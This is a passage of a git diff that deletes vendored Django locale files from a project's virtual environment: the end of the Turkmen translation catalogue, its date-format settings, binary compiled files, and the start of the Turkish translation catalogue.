"Sept." -msgstr "Sent." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Noý." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dek." - -msgctxt "alt. month" -msgid "January" -msgstr "Ýanwar" - -msgctxt "alt. month" -msgid "February" -msgstr "Fewral" - -msgctxt "alt. month" -msgid "March" -msgstr "Mart" - -msgctxt "alt. month" -msgid "April" -msgstr "Aprel" - -msgctxt "alt. month" -msgid "May" -msgstr "Maý" - -msgctxt "alt. month" -msgid "June" -msgstr "Iýun" - -msgctxt "alt. month" -msgid "July" -msgstr "Iýul" - -msgctxt "alt. month" -msgid "August" -msgstr "Awgust" - -msgctxt "alt. month" -msgid "September" -msgstr "Sentýabr" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktýabr" - -msgctxt "alt. month" -msgid "November" -msgstr "Noýabr" - -msgctxt "alt. month" -msgid "December" -msgstr "Dekabr" - -msgid "This is not a valid IPv6 address." -msgstr "Bu dogry IPv6 salgy däl." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "ýa" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "\"" - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d ýyl" -msgstr[1] "%(num)d ýyl" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d aý" -msgstr[1] "%(num)d aý" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d hepde" -msgstr[1] "%(num)d hepde" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d gün" -msgstr[1] "%(num)d gün" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d sagat" -msgstr[1] "%(num)d sagat" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minut" -msgstr[1] "%(num)d minut" - -msgid "Forbidden" -msgstr "Gadagan " - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF dogrylamak şowsuz. Talap ýatyryldy." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Bu haty görýärsiňiz, sebäbi bu HTTPS sahypasy web brauzeriňiz tarapyndan " -"iberilmeli \"Referer header\" talap edýär, ýöne hiç biri iberilmedi. Bu " -"sözbaşy, brauzeriňiziň üçünji şahyslar tarapyndan ogurlanmazlygy üçin " -"howpsuzlyk sebäpli talap edilýär." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Brauzeriňizde \"Referer\" sözbaşylaryny öçüren bolsaňyz, iň bolmanda bu " -"sahypa ýa-da HTTPS birikmeleri ýa-da \"meňzeş\" talaplar üçin täzeden açyň." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Egerde siz diýen bellik " -"ýada \"Referrer-Policy: no-referrer\" header ulanýan bolsaňyz, olary " -"aýyrmagyňyzy haýyş edýäris. CSRF goragy üçin \"Referer\" header-i dogry " -"salgylanma üçin gereklidir. Eger siz gizlinlik üçin alada etseňiz, üçinji " -"şahs sahypalara baglanyşyklar üçin ýaly " -"alternatiwalary ulanyp bilersiňiz." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Bu sahypa formalary tabşyranda CSRF kukisini talap edýäligi sebäpli bu " -"habary görýärsiňiz. Bu kuki, brauzeriňiziň üçünji taraplar tarapyndan " -"ogurlanmazlygy üçin howpsuzlyk sebäpli talap edilýär." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Brauzeriňizde kukileri öçüren bolsaňyz, iň bolmanda şu sahypa ýa-da " -"\"meňzeş\" talaplar üçin olary täzeden açyň." - -msgid "More information is available with DEBUG=True." -msgstr "Has giňişleýin maglumat DEBUG=True bilen elýeterlidir." - -msgid "No year specified" -msgstr "Ýyl görkezilmedi" - -msgid "Date out of range" -msgstr "Sene çägiň daşynda" - -msgid "No month specified" -msgstr "Aý görkezilmedi" - -msgid "No day specified" -msgstr "Gün görkezilmedi" - -msgid "No week specified" -msgstr "Hepde görkezilmedi" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Elýeterli %(verbose_name_plural)s ýok" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Gelejek %(verbose_name_plural)s elýeterli däl sebäbi %(class_name)s." -"allow_future bahasy False" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Nädogry sene setiri \"%(datestr)s\" berlen format \"%(format)s\"" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Talap bilen gabat gelýän %(verbose_name)s tapylmady" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Sahypa “iň soňky” däl, ony int-ede öwrüp bolmaz." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Nädogry sahypa (%(page_number)s ): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Boş list we \"%(class_name)s.allow_empty\" bahasy False" - -msgid "Directory indexes are not allowed here." -msgstr "Bu ýerde katalog indekslerine rugsat berilmeýär." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" beýle ýol ýok" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s indeksi" - -msgid "The install worked successfully! Congratulations!" -msgstr "Üstünlikli guruldy! Gutlaýarys!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Django %(version)s üçin goýberiş " -"belliklerini görüň" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Bu sahypany görýärsiňiz, sebäbi sazlamalar faýlyňyzda DEBUG=True we hiç hili URL düzmediňiz." - -msgid "Django Documentation" -msgstr "Django resminamalary" - -msgid "Topics, references, & how-to’s" -msgstr "Mowzuklar, salgylanmalar, & how-to-lar" - -msgid "Tutorial: A Polling App" -msgstr "Gollanma: Ses beriş programmasy" - -msgid "Get started with Django" -msgstr "Django bilen başlaň" - -msgid "Django Community" -msgstr "Django jemgyýeti" - -msgid "Connect, get help, or contribute" -msgstr "Birikiň, kömek alyň ýa-da goşant goşuň" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tk/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/tk/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tk/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/tk/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index f952a0b2..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/tk/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tk/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/tk/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index c62339f6..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/tk/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tk/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/tk/formats.py deleted file mode 100644 index 0ab7d49a..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/tk/formats.py +++ /dev/null @@ -1,32 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j E Y г." -TIME_FORMAT = "G:i" -DATETIME_FORMAT = "j E Y г. G:i" -YEAR_MONTH_FORMAT = "F Y г." -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y %H:%M:%S", # '25.10.06 14:30:59' - "%d.%m.%y %H:%M:%S.%f", # '25.10.06 14:30:59.000200' - "%d.%m.%y %H:%M", # '25.10.06 14:30' - "%d.%m.%y", # '25.10.06' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tr/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/tr/LC_MESSAGES/django.mo deleted file mode 100644 index 5f13b4d7..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/tr/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tr/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/tr/LC_MESSAGES/django.po deleted file mode 100644 index 6bf26a89..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/tr/LC_MESSAGES/django.po +++ /dev/null @@ -1,1359 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Ahmet Emre Aladağ , 2013 -# BouRock, 2015-2025 -# BouRock, 2014-2015 -# Caner Başaran , 2013 -# Cihad GÜNDOĞDU , 2012 -# Cihad GÜNDOĞDU , 2013-2014 -# Gökmen Görgen , 2013 -# Jannis Leidel , 2011 -# Mesut Can Gürle , 2013 -# Murat Çorlu , 2012 -# Murat Sahin , 2011-2012 -# Türker Sezer , 2019 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: BouRock, 2015-2025\n" -"Language-Team: Turkish (http://app.transifex.com/django/django/language/" -"tr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: tr\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -msgid "Afrikaans" -msgstr "Afrikanca" - -msgid "Arabic" -msgstr "Arapça" - -msgid "Algerian Arabic" -msgstr "Cezayir Arapçası" - -msgid "Asturian" -msgstr "Asturyaca" - -msgid "Azerbaijani" -msgstr "Azerice" - -msgid "Bulgarian" -msgstr "Bulgarca" - -msgid "Belarusian" -msgstr "Beyaz Rusça" - -msgid "Bengali" -msgstr "Bengalce" - -msgid "Breton" -msgstr "Bretonca" - -msgid "Bosnian" -msgstr "Boşnakça" - -msgid "Catalan" -msgstr "Katalanca" - -msgid "Central Kurdish (Sorani)" -msgstr "Orta Kürtçe (Sorani)" - -msgid "Czech" -msgstr "Çekçe" - -msgid "Welsh" -msgstr "Galce" - -msgid "Danish" -msgstr "Danca" - -msgid "German" -msgstr "Almanca" - -msgid "Lower Sorbian" -msgstr "Aşağı Sorb dili" - -msgid "Greek" -msgstr "Yunanca" - -msgid "English" -msgstr "İngilizce" - -msgid "Australian English" -msgstr "Avusturya İngilizcesi" - -msgid "British English" -msgstr "İngiliz İngilizcesi" - -msgid "Esperanto" -msgstr "Esperanto dili" - -msgid "Spanish" -msgstr "İspanyolca" - -msgid "Argentinian Spanish" -msgstr "Arjantin İspanyolcası" - -msgid "Colombian Spanish" -msgstr "Kolomiya İspanyolcası" - -msgid "Mexican Spanish" -msgstr "Meksika İspanyolcası" - -msgid "Nicaraguan Spanish" -msgstr "Nikaragua İspanyolcası" - -msgid "Venezuelan Spanish" -msgstr "Venezüella İspanyolcası" - -msgid "Estonian" -msgstr "Estonca" - -msgid "Basque" -msgstr "Baskça" - -msgid "Persian" -msgstr "Farsça" - -msgid "Finnish" -msgstr "Fince" - -msgid "French" -msgstr "Fransızca" - -msgid "Frisian" -msgstr "Frizce" - -msgid "Irish" -msgstr "İrlandaca" - -msgid "Scottish Gaelic" -msgstr "İskoçça Galcesi" - -msgid "Galician" -msgstr "Galiçyaca" - -msgid "Hebrew" -msgstr "İbranice" - -msgid "Hindi" -msgstr "Hintçe" - -msgid "Croatian" -msgstr "Hırvatça" - -msgid "Upper Sorbian" -msgstr "Yukarı Sorb dili" - -msgid "Hungarian" -msgstr "Macarca" - -msgid "Armenian" -msgstr "Ermenice" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Endonezce" - -msgid "Igbo" -msgstr "Igbo dili" - -msgid "Ido" -msgstr "Ido dili" - -msgid "Icelandic" -msgstr "İzlandaca" - -msgid "Italian" -msgstr "İtalyanca" - -msgid "Japanese" -msgstr "Japonca" - -msgid "Georgian" -msgstr "Gürcüce" - -msgid "Kabyle" -msgstr "Kabiliye dili" - -msgid "Kazakh" -msgstr "Kazakça" - -msgid "Khmer" -msgstr "Kmerce" - -msgid "Kannada" -msgstr "Kannada dili" - -msgid "Korean" -msgstr "Korece" - -msgid "Kyrgyz" -msgstr "Kırgızca" - -msgid "Luxembourgish" -msgstr "Lüksemburgca" - -msgid "Lithuanian" -msgstr "Litovca" - -msgid "Latvian" -msgstr "Letonca" - -msgid "Macedonian" -msgstr "Makedonca" - -msgid "Malayalam" -msgstr "Malayamca" - -msgid "Mongolian" -msgstr "Moğolca" - -msgid "Marathi" -msgstr "Marathi dili" - -msgid "Malay" -msgstr "Malayca" - -msgid "Burmese" -msgstr "Birmanca" - -msgid "Norwegian Bokmål" -msgstr "Norveççe Bokmal" - -msgid "Nepali" -msgstr "Nepalce" - -msgid "Dutch" -msgstr "Flemenkçe" - -msgid "Norwegian Nynorsk" -msgstr "Norveççe Nynorsk" - -msgid "Ossetic" -msgstr "Osetçe" - -msgid "Punjabi" -msgstr "Pencapça" - -msgid "Polish" -msgstr "Lehçe" - -msgid "Portuguese" -msgstr "Portekizce" - -msgid "Brazilian Portuguese" -msgstr "Brezilya Portekizcesi" - -msgid "Romanian" -msgstr "Romence" - -msgid "Russian" -msgstr "Rusça" - -msgid "Slovak" -msgstr "Slovakça" - -msgid "Slovenian" -msgstr "Slovence" - -msgid "Albanian" -msgstr "Arnavutça" - -msgid "Serbian" -msgstr "Sırpça" - -msgid "Serbian Latin" -msgstr "Sırpça Latin" - -msgid "Swedish" -msgstr "İsveççe" - -msgid "Swahili" -msgstr "Savahilice" - -msgid "Tamil" -msgstr "Tamilce" - -msgid "Telugu" -msgstr "Telugu dili" - -msgid "Tajik" -msgstr "Tacikçe" - -msgid "Thai" -msgstr "Tayca" - -msgid "Turkmen" -msgstr "Türkmence" - -msgid "Turkish" -msgstr "Türkçe" - -msgid "Tatar" -msgstr "Tatarca" - -msgid "Udmurt" -msgstr "Udmurtça" - -msgid "Uyghur" -msgstr "Uygur" - -msgid "Ukrainian" -msgstr "Ukraynaca" - -msgid "Urdu" -msgstr "Urduca" - -msgid "Uzbek" -msgstr "‎Özbekçe" - -msgid "Vietnamese" -msgstr "Vietnamca" - -msgid "Simplified Chinese" -msgstr "Basitleştirilmiş Çince" - -msgid "Traditional Chinese" -msgstr "Geleneksel Çince" - -msgid "Messages" -msgstr "İletiler" - -msgid "Site Maps" -msgstr "Site Haritaları" - -msgid "Static Files" -msgstr "Sabit Dosyalar" - -msgid "Syndication" -msgstr "Dağıtım" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Bu sayfa numarası bir tamsayı değil" - -msgid "That page number is less than 1" -msgstr "Bu sayfa numarası 1’den az" - -msgid "That page contains no results" -msgstr "Bu sayfa hiç sonuç içermiyor" - -msgid "Enter a valid value." -msgstr "Geçerli bir değer girin." - -msgid "Enter a valid domain name." -msgstr "Geçerli bir etki alanı adı girin." - -msgid "Enter a valid URL." -msgstr "Geçerli bir URL girin." - -msgid "Enter a valid integer." -msgstr "Geçerli bir tamsayı girin." - -msgid "Enter a valid email address." -msgstr "Geçerli bir e-posta adresi girin." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Harflerden, sayılardan, altçizgilerden veya tirelerden oluşan geçerli bir " -"“kısaltma” girin." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Evrensel kod harflerden, sayılardan, altçizgilerden veya tirelerden oluşan " -"geçerli bir “kısaltma” girin." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Geçerli bir %(protocol)s adresi girin." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 veya IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Sadece virgülle ayrılmış rakamlar girin." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Bu değerin %(limit_value)s olduğuna emin olun (şu an %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Bu değerin %(limit_value)s değerinden az veya eşit olduğuna emin olun." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Bu değerin %(limit_value)s değerinden büyük veya eşit olduğuna emin olun." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Bu değerin %(limit_value)s adım boyutunun katları olduğundan emin olun." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Bu değerin %(offset)s değerinden başlayarak %(limit_value)s adım boyutunun " -"katı olduğundan emin olun, örn. %(offset)s, %(valid_value1)s, " -"%(valid_value2)s, vb." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Bu değerin en az %(limit_value)d karaktere sahip olduğuna emin olun (şu an " -"%(show_value)d)." -msgstr[1] "" -"Bu değerin en az %(limit_value)d karaktere sahip olduğuna emin olun (şu an " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Bu değerin en fazla %(limit_value)d karaktere sahip olduğuna emin olun (şu " -"an %(show_value)d)." -msgstr[1] "" -"Bu değerin en fazla %(limit_value)d karaktere sahip olduğuna emin olun (şu " -"an %(show_value)d)." - -msgid "Enter a number." -msgstr "Bir sayı girin." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Toplamda %(max)s rakamdan daha fazla olmadığından emin olun." -msgstr[1] "Toplamda %(max)s rakamdan daha fazla olmadığından emin olun." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "%(max)s ondalık basamaktan daha fazla olmadığından emin olun." -msgstr[1] "%(max)s ondalık basamaktan daha fazla olmadığından emin olun." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Ondalık noktasından önce %(max)s rakamdan daha fazla olmadığından emin olun." -msgstr[1] "" -"Ondalık noktasından önce %(max)s rakamdan daha fazla olmadığından emin olun." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"“%(extension)s” dosya uzantısına izin verilmiyor. İzin verilen uzantılar: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Boş karakterlere izin verilmiyor." - -msgid "and" -msgstr "ve" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "Bu %(field_labels)s alanına sahip %(model_name)s zaten mevcut." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "\"%(name)s\" kısıtlaması ihlal edildi." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "%(value)r değeri geçerli bir seçim değil." - -msgid "This field cannot be null." -msgstr "Bu alan boş olamaz." - -msgid "This field cannot be blank." -msgstr "Bu alan boş olamaz." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Bu %(field_label)s alanına sahip %(model_name)s zaten mevcut." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s, %(date_field_label)s %(lookup_type)s için benzersiz olmak " -"zorundadır." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Alan türü: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s” değeri ya True ya da False olmak zorundadır." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s” değeri ya True, False ya da None olmak zorundadır." - -msgid "Boolean (Either True or False)" -msgstr "Boolean (Ya True ya da False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Dizgi (%(max_length)s karaktere kadar)" - -msgid "String (unlimited)" -msgstr "Dizgi (sınırsız)" - -msgid "Comma-separated integers" -msgstr "Virgülle ayrılmış tamsayılar" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s” değeri geçersiz bir tarih biçimine sahip. Bu YYYY-MM-DD " -"biçiminde olmak zorundadır." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"“%(value)s” değeri doğru bir biçime (YYYY-MM-DD) sahip ancak bu geçersiz bir " -"tarih." - -msgid "Date (without time)" -msgstr "Tarih (saat olmadan)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s” değeri geçersiz bir biçime sahip. YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ] biçiminde olmak zorundadır." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s” değeri doğru bir biçime (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) " -"sahip ancak bu geçersiz bir tarih/saat." - -msgid "Date (with time)" -msgstr "Tarih (saat olan)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s” değeri bir ondalık sayı olmak zorundadır." - -msgid "Decimal number" -msgstr "Ondalık sayı" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s” değer geçersiz bir biçime sahip. [DD] [HH:[MM:]]ss[.uuuuuu] " -"biçiminde olmak zorundadır." - -msgid "Duration" -msgstr "Süre" - -msgid "Email address" -msgstr "E-posta adresi" - -msgid "File path" -msgstr "Dosya yolu" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s” değeri kayan noktalı bir sayı olmak zorundadır." - -msgid "Floating point number" -msgstr "Kayan noktalı sayı" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s” değeri bir tamsayı olmak zorundadır." - -msgid "Integer" -msgstr "Tamsayı" - -msgid "Big (8 byte) integer" -msgstr "Büyük (8 bayt) tamsayı" - -msgid "Small integer" -msgstr "Küçük tamsayı" - -msgid "IPv4 address" -msgstr "IPv4 adresi" - -msgid "IP address" -msgstr "IP adresi" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s” değeri ya None, True ya da False olmak zorundadır." - -msgid "Boolean (Either True, False or None)" -msgstr "Booleanl (Ya True, False, ya da None)" - -msgid "Positive big integer" -msgstr "Pozitif büyük tamsayı" - -msgid "Positive integer" -msgstr "Pozitif tamsayı" - -msgid "Positive small integer" -msgstr "Pozitif küçük tamsayı" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Kısaltma (%(max_length)s karaktere kadar)" - -msgid "Text" -msgstr "Metin" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s” değeri geçersiz bir biçime sahip. HH:MM[:ss[.uuuuuu]] biçiminde " -"olmak zorundadır." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"“%(value)s” değeri doğru biçime (HH:MM[:ss[.uuuuuu]]) sahip ancak bu " -"geçersiz bir saat." - -msgid "Time" -msgstr "Saat" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Ham ikili veri" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” geçerli bir UUID değil." - -msgid "Universally unique identifier" -msgstr "Evrensel benzersiz tanımlayıcı" - -msgid "File" -msgstr "Dosya" - -msgid "Image" -msgstr "Resim" - -msgid "A JSON object" -msgstr "JSON nesnesi" - -msgid "Value must be valid JSON." -msgstr "Değer geçerli JSON olmak zorundadır." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "%(field)s %(value)r olan %(model)s benzeri geçerli bir seçim değil." - -msgid "Foreign Key (type determined by related field)" -msgstr "Dış Anahtar (türü ilgili alana göre belirlenir)" - -msgid "One-to-one relationship" -msgstr "Bire-bir ilişki" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s ilişkisi" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s ilişkileri" - -msgid "Many-to-many relationship" -msgstr "Çoka-çok ilişki" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Bu alan zorunludur." - -msgid "Enter a whole number." -msgstr "Tam bir sayı girin." - -msgid "Enter a valid date." -msgstr "Geçerli bir tarih girin." - -msgid "Enter a valid time." -msgstr "Geçerli bir saat girin." - -msgid "Enter a valid date/time." -msgstr "Geçerli bir tarih/saat girin." - -msgid "Enter a valid duration." -msgstr "Geçerli bir süre girin." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Gün sayıları {min_days} ve {max_days} arasında olmak zorundadır." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Hiç dosya gönderilmedi. Formdaki kodlama türünü kontrol edin." - -msgid "No file was submitted." -msgstr "Hiç dosya gönderilmedi." - -msgid "The submitted file is empty." -msgstr "Gönderilen dosya boş." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Bu dosya adının en fazla %(max)d karaktere sahip olduğundan emin olun (şu an " -"%(length)d)." -msgstr[1] "" -"Bu dosya adının en fazla %(max)d karaktere sahip olduğundan emin olun (şu an " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Lütfen ya bir dosya gönderin ya da temizle işaretleme kutusunu işaretleyin, " -"ikisini aynı anda işaretlemeyin." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Geçerli bir resim gönderin. Gönderdiğiniz dosya ya bir resim değildi ya da " -"bozulmuş bir resimdi." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Geçerli bir seçenek seçin. %(value)s mevcut seçeneklerden biri değil." - -msgid "Enter a list of values." -msgstr "Değerlerin bir listesini girin." - -msgid "Enter a complete value." -msgstr "Tam bir değer girin." - -msgid "Enter a valid UUID." -msgstr "Geçerli bir UUID girin." - -msgid "Enter a valid JSON." -msgstr "Geçerli bir JSON girin." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Gizli alan %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm verileri eksik veya değiştirilmiş. Eksik alanlar: " -"%(field_names)s. Sorun devam ederse bir hata raporu dosyalamanız gerekebilir." - -#, 